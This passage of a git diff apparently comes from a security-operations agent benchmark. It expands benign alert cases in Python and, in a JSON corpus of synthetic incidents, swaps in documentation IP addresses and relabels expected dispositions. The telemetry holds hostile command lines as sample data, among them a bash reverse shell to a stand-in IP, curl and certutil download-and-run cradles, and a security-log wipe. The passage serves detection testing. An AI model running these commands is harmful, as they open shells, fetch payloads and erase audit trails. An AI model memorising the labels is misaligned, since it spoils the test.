cannot support a precision figure — the+# gradeability guard refuses a minority class under 5%.+#+# Expanded the same way the malicious corpus is (55 templates → 200+# incidents) so the two halves are built alike. The varied fields are+# the ones that genuinely vary between occurrences; **the evidence that+# decides the label is never varied**, because a case whose answer moves+# with its hostname is not the same case.++_HOSTS = (+ "WIN-FIN-03",+ "WIN-ENG-17",+ "LIN-APP-05",+ "WIN-HR-08",+ "LIN-DATA-11",+ "WIN-OPS-22",+ "LIN-EDGE-02",+ "WIN-LEG-14",+ "LIN-CI-09",+ "WIN-DB-31",+)+_ACTORS = (+ "[email protected]",+ "[email protected]",+ "[email protected]",+ "[email protected]",+ "[email protected]",+)+_TICKETS = ("CHG0041420", "CHG0041455", "CHG0041487", "CHG0041502", "CHG0041533")+++def _expanded() -> list[dict[str, Any]]:+ """Each shape, recurring with different incidental detail."""+ out: list[dict[str, Any]] = []+ for index, base in enumerate(BENIGN_CASES):+ # Four extra occurrences per shape, which takes the benign and+ # false-positive classes to roughly a quarter of the corpus —+ # still malicious-heavy, and far enough above the 5% floor that+ # precision means something.+ for occurrence in range(1, 5):+ host = _HOSTS[(index * 4 + occurrence) % len(_HOSTS)]+ actor = _ACTORS[(index + occurrence) % len(_ACTORS)]+ ticket = _TICKETS[(index + occurrence) % len(_TICKETS)]++ case = {+ **base,+ "id": f"{base['id']}-R{occurrence}",+ "title": base["title"].replace("WIN-DB-07", host).replace("LIN-IAM-SYNC01", host),+ "telemetry": [+ {+ **event,+ **({"Computer": host} if "Computer" in event else {}),+ **({"src_host": host} if "src_host" in event else {}),+ **({"actor": actor} if "actor" in event else {}),+ **({"change_ticket": ticket} if "change_ticket" in event else {}),+ }+ for event in base["telemetry"]+ ],+ }+ case["raw_alert"] = {"title": case["title"], "severity": case["severity"]}+ out.append(case)+ return out+++def benign_corpus_records() -> list[dict[str, Any]]:+ """The benign corpus, with the analyst rationale withheld.++ The rationale is kept in the source so a reviewer can see what the+ label rests on, and stripped here because a corpus that hands the+ agent its own answer measures reading comprehension.+ """+ out: list[dict[str, Any]] = []+ for case in [*BENIGN_CASES, *_expanded()]:+ record = dict(case)+ record.pop("analyst_rationale", None)+ out.append(record)+ return outdiff --git a/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json b/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.jsonindex 1f8dc2d71..92722b59a 100644--- a/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json+++ b/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json@@ -7,7 +7,7 @@"id": "INC-EVAL-001","provenance": "synthetic","title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",- "description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.",+ "description": "Inbound email from 203.0.113.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.","severity": "high","raw_alert": {"title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",@@ -20,7 +20,7 @@"Workload": "Exchange","Operation": "Send","UserId": "[email protected]",- "ClientIP": "45.142.122.111",+ "ClientIP": "203.0.113.111","Subject": "Q4 invoice (action required)","AttachmentNames": ["invoice_q4.docm"@@ -46,7 +46,7 @@"threat_actor": "Lazarus"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1059.005"@@ -90,7 +90,7 @@"rule_match": "WAF:SSRF:2007"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1190","T1082"@@ -131,7 +131,7 @@"threat_actor": "Lazarus"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1189","T1203"@@ -184,7 +184,7 @@"dest_port": 4444}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.001","T1059.007"@@ -225,7 +225,7 @@"CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1091","T1005"@@ -240,7 +240,7 @@"id": "INC-EVAL-006","provenance": "synthetic","title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","severity": "high","raw_alert": {"title": "OAuth consent phishing targeting [email protected]",@@ -267,12 +267,12 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1528","T1550.001"@@ -317,7 +317,7 @@"threat_actor": "MagicWeb"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1059.001","T1027"@@ -362,7 +362,7 @@"Protocol": "tcp"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1105","T1218.009"@@ -410,7 +410,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1610","T1059.004",@@ -457,7 +457,7 @@"Destination": "powershell.exe -enc <encoded>"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1546.003","T1059.001"@@ -500,7 +500,7 @@"threat_actor": "Volt Typhoon"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1547.001"],@@ -540,7 +540,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.005"],@@ -575,7 +575,7 @@"indicator_path": "ESP:/EFI/Boot/bootx64.efi"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1542.001","T1027.002"@@ -615,7 +615,7 @@"hostname": "WIN-HR-DESKTOP"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.003","T1071.001"@@ -657,7 +657,7 @@"User": "SYSTEM"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.002"],@@ -720,7 +720,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1611","T1082"@@ -764,7 +764,7 @@"user": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.001"],@@ -817,7 +817,7 @@"threat_actor": "Scattered Spider"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1055.012","T1620"@@ -861,7 +861,7 @@"CommandLine": "wevtutil cl Security"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.001"],@@ -911,7 +911,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1562.001"],@@ -956,7 +956,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.001"],@@ -969,11 +969,11 @@{"id": "INC-EVAL-022","provenance": "synthetic",- "title": "Brute-force credential spray against [email protected] from 45.142.122.111",- "description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "Brute-force credential spray against [email protected] from 203.0.113.111",+ "description": "Credential spray from 203.0.113.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","severity": "high","raw_alert": {- "title": "Brute-force credential spray against [email protected] from 45.142.122.111",+ "title": "Brute-force credential spray against [email protected] from 203.0.113.111","severity": "high","template_id": "credential-spray"},@@ -982,7 +982,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 50126,"resultDescription": "Invalid username or password","appDisplayName": "Office 365 Exchange Online",@@ -992,14 +992,14 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 0,"resultDescription": "Success","conditionalAccessStatus": "success","riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1110.003"],@@ -1044,7 +1044,7 @@"IpAddress": "MAC-CFO-LAPTOP"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1558.003","T1021.001"@@ -1080,7 +1080,7 @@"ClientIP": "AWS-EC2-PROD-API"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.006","T1078.002"@@ -1131,7 +1131,7 @@]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1606.002","T1087.002"@@ -1177,7 +1177,7 @@"EventCount": 8400}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1087.002"],@@ -1221,7 +1221,7 @@"EventCount": 256}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1135"],@@ -1265,7 +1265,7 @@"threat_actor": "APT28"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.002","T1558.001"@@ -1301,7 +1301,7 @@"EventTimeUTC": "03:14:00Z"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1021.001"],@@ -1315,7 +1315,7 @@"id": "INC-EVAL-030","provenance": "synthetic","title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",- "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 192.0.2.15.","severity": "high","raw_alert": {"title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",@@ -1331,10 +1331,10 @@"Computer": "WIN-PROD-WEB02","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1047"],@@ -1367,7 +1367,7 @@"bytes": 10700000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1005","T1041"@@ -1411,7 +1411,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1115"],@@ -1443,7 +1443,7 @@"qps": 240}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.004","T1048.003"@@ -1458,7 +1458,7 @@"id": "INC-EVAL-034","provenance": "synthetic","title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",- "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-91.134.231.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-192.0.2.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","severity": "critical","raw_alert": {"title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",@@ -1477,17 +1477,17 @@},"sourceIPAddress": "WIN-DC-PRIMARY","requestParameters": {- "bucketName": "atk-stage-91.134.231.15",+ "bucketName": "atk-stage-192.0.2.15","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-192.0.2.15/dump/customers.tar.gz"}]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002"],@@ -1521,7 +1521,7 @@"file_count": 812}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002","T1005"@@ -1565,7 +1565,7 @@"threat_actor": "Scattered Spider"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1568.002"],@@ -1602,7 +1602,7 @@"jitter_pct": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.001"],@@ -1654,7 +1654,7 @@"threat_actor": "LockBit 3.0"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1486"],@@ -1688,7 +1688,7 @@"cpu_pct": 95}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1496"],@@ -1722,7 +1722,7 @@"threat_actor": "ALPHV/BlackCat"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1657"@@ -1781,7 +1781,7 @@}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1530","T1567.002"@@ -1792,7 +1792,7 @@"id": "INC-EVAL-042","provenance": "synthetic","title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token.",+ "description": "Successful Azure AD sign-in for [email protected] from 203.0.113.111 (impossible-travel from prior location). MFA satisfied via stolen session token.","severity": "critical","raw_alert": {"title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",@@ -1804,7 +1804,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","location": {"city": "Vladivostok","countryOrRegion": "RU"@@ -1823,7 +1823,7 @@"riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1550.001"@@ -1857,7 +1857,7 @@"duration_secs": 720}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1498.001"],@@ -1892,7 +1892,7 @@"Bytes": 8300000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1114.002","T1567.002"@@ -1907,7 +1907,7 @@"id": "INC-EVAL-045","provenance": "synthetic","title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 185.220.101.7.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 198.51.100.7.","severity": "high","raw_alert": {"title": "Malicious Office add-in installed for [email protected]",@@ -1933,11 +1933,11 @@"EventID": 3,"Computer": "WIN-EXCHANGE-01","Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",- "DestinationIp": "185.220.101.7",+ "DestinationIp": "198.51.100.7","DestinationPort": 443}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1137.006","T1071.001"@@ -1947,11 +1947,11 @@{"id": "INC-EVAL-046","provenance": "synthetic",- "title": "GitHub PAT leaked and abused from 185.220.101.7",- "description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub PAT leaked and abused from 198.51.100.7",+ "description": "Personal access token belonging to [email protected] used from 198.51.100.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.","severity": "critical","raw_alert": {- "title": "GitHub PAT leaked and abused from 185.220.101.7",+ "title": "GitHub PAT leaked and abused from 198.51.100.7","severity": "critical","template_id": "github-pat-leak"},@@ -1960,7 +1960,7 @@"source": "github_audit","action": "git.clone","actor": "[email protected]",- "actor_ip": "185.220.101.7",+ "actor_ip": "198.51.100.7","repo_count": 14,"programmatic_access_type": "personal_access_token","user_agent": "git/2.40.0"@@ -1975,7 +1975,7 @@"secret_detected": "github_pat_*"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.001","T1213.003"@@ -2020,7 +2020,7 @@"userAgent": "aws-cli/2.13"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1552.005","T1078.004"@@ -2031,7 +2031,7 @@"id": "INC-EVAL-048","provenance": "synthetic","title": "Vendor admin password reset abuse for [email protected]",- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds.","severity": "high","raw_alert": {"title": "Vendor admin password reset abuse for [email protected]",@@ -2051,12 +2051,12 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "185.220.101.7",+ "ipAddress": "198.51.100.7","resultType": 0,"seconds_after_reset": 87}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.004","T1078"@@ -2090,7 +2090,7 @@"resourceDisplayName": "Microsoft Graph"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.001"],@@ -2143,7 +2143,7 @@"cve_layer_count": 2}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1610"@@ -2176,7 +2176,7 @@"threat_actor": "MagicWeb"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1564.008","T1114.003"@@ -2211,7 +2211,7 @@"user": "[email protected]"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.002"],@@ -2255,7 +2255,7 @@"secret_detected": true}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.002","T1552.004"@@ -2294,7 +2294,7 @@"EventCount": 128}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.004","T1021.002"@@ -2329,7 +2329,7 @@"LogonType": 5}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1078.001","T1070.001"@@ -2383,7 +2383,7 @@"threat_actor": "Scattered Spider"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1566.001","T1059.005"@@ -2427,7 +2427,7 @@"rule_match": "WAF:SSRF:2007"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1190","T1082"@@ -2468,7 +2468,7 @@"threat_actor": "APT29"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1189","T1203"@@ -2521,7 +2521,7 @@"dest_port": 4444}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.001","T1059.007"@@ -2562,7 +2562,7 @@"CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1091","T1005"@@ -2609,7 +2609,7 @@}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1528","T1550.001"@@ -2654,7 +2654,7 @@"threat_actor": "LockBit 3.0"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1059.001","T1027"@@ -2669,7 +2669,7 @@"id": "INC-EVAL-063","provenance": "synthetic","title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",- "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.0.2.15.","severity": "high","raw_alert": {"title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",@@ -2685,7 +2685,7 @@"Computer": "WIN-PROD-WEB02","Image": "C:\\Windows\\System32\\certutil.exe","ParentImage": "C:\\Windows\\System32\\cmd.exe",- "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"+ "CommandLine": "certutil -urlcache -split -f http://192.0.2.15/p.exe %TEMP%\\p.exe"},{"source": "sysmon",@@ -2694,12 +2694,12 @@"EventID": 3,"Computer": "WIN-PROD-WEB02","Image": "C:\\Windows\\System32\\certutil.exe",- "DestinationIp": "91.134.231.15",+ "DestinationIp": "192.0.2.15","DestinationPort": 80,"Protocol": "tcp"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1105","T1218.009"@@ -2747,7 +2747,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1610","T1059.004",@@ -2794,7 +2794,7 @@"Destination": "powershell.exe -enc <encoded>"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1546.003","T1059.001"@@ -2837,7 +2837,7 @@"threat_actor": "Lazarus"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1547.001"],@@ -2877,7 +2877,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.005"],@@ -2912,7 +2912,7 @@"indicator_path": "ESP:/EFI/Boot/bootx64.efi"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1542.001","T1027.002"@@ -2927,7 +2927,7 @@"id": "INC-EVAL-069","provenance": "synthetic","title": "Backdoor cron job installed on LIN-DB-REPLICA",- "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 45.142.122.111 every 5 minutes.",+ "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 203.0.113.111 every 5 minutes.","severity": "high","raw_alert": {"title": "Backdoor cron job installed on LIN-DB-REPLICA",@@ -2948,11 +2948,11 @@{"source": "linux_journald","_SYSTEMD_UNIT": "cron.service",- "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)",+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.111/4444 0>&1)","hostname": "LIN-DB-REPLICA"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.003","T1071.001"@@ -2994,7 +2994,7 @@"User": "SYSTEM"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.002"],@@ -3057,7 +3057,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1611","T1082"@@ -3101,7 +3101,7 @@"user": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.001"],@@ -3115,7 +3115,7 @@"id": "INC-EVAL-073","provenance": "synthetic","title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",- "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0.",+ "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.111. No disk artefacts. Linked to LockBit 3.0.","severity": "critical","raw_alert": {"title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",@@ -3141,7 +3141,7 @@"EventID": 3,"Computer": "LIN-EDGE-VPN02","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","ja3": "a0e9f5d64349fb13191bc781f81f42e1"@@ -3154,7 +3154,7 @@"threat_actor": "LockBit 3.0"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1055.012","T1620"@@ -3198,7 +3198,7 @@"CommandLine": "wevtutil cl Security"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.001"],@@ -3248,7 +3248,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1562.001"],@@ -3293,7 +3293,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.001"],@@ -3336,7 +3336,7 @@"riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1110.003"],@@ -3381,7 +3381,7 @@"IpAddress": "WIN-FILE-SHARE"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1558.003","T1021.001"@@ -3417,7 +3417,7 @@"ClientIP": "AZURE-VM-FIN-001"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.006","T1078.002"@@ -3468,7 +3468,7 @@]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1606.002","T1087.002"@@ -3514,7 +3514,7 @@"EventCount": 8400}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1087.002"],@@ -3558,7 +3558,7 @@"EventCount": 256}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1135"],@@ -3602,7 +3602,7 @@"threat_actor": "MosaicRegressor"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.002","T1558.001"@@ -3638,7 +3638,7 @@"EventTimeUTC": "03:14:00Z"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1021.001"],@@ -3652,7 +3652,7 @@"id": "INC-EVAL-085","provenance": "synthetic","title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",- "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","severity": "high","raw_alert": {"title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",@@ -3668,10 +3668,10 @@"Computer": "WIN-FILE-SHARE","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1047"],@@ -3704,7 +3704,7 @@"bytes": 10700000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1005","T1041"@@ -3748,7 +3748,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1115"],@@ -3762,7 +3762,7 @@"id": "INC-EVAL-088","provenance": "synthetic","title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",- "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 185.220.101.7.",+ "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.7.","severity": "critical","raw_alert": {"title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",@@ -3772,15 +3772,15 @@"telemetry": [{"source": "dns",- "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa",+ "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.7.in-addr.arpa","query_type": "TXT","src_host": "WIN-DC-SECONDARY",- "dst_ip": "185.220.101.7",+ "dst_ip": "198.51.100.7","response_size": 512,"qps": 240}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.004","T1048.003"@@ -3824,7 +3824,7 @@]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002"],@@ -3858,7 +3858,7 @@"file_count": 812}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002","T1005"@@ -3873,7 +3873,7 @@"id": "INC-EVAL-091","provenance": "synthetic","title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 203.0.113.111.","severity": "high","raw_alert": {"title": "DGA-based C2 traffic from GCP-GKE-NODE-04",@@ -3896,13 +3896,13 @@"EventID": 3,"Computer": "GCP-GKE-NODE-04","Image": "C:\\Windows\\System32\\svchost.exe",- "DestinationIp": "45.142.122.111",+ "DestinationIp": "203.0.113.111","DestinationPort": 443,"Protocol": "tcp","threat_actor": "Volt Typhoon"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1568.002"],@@ -3916,11 +3916,11 @@{"id": "INC-EVAL-092","provenance": "synthetic",- "title": "HTTPS C2 beacon from 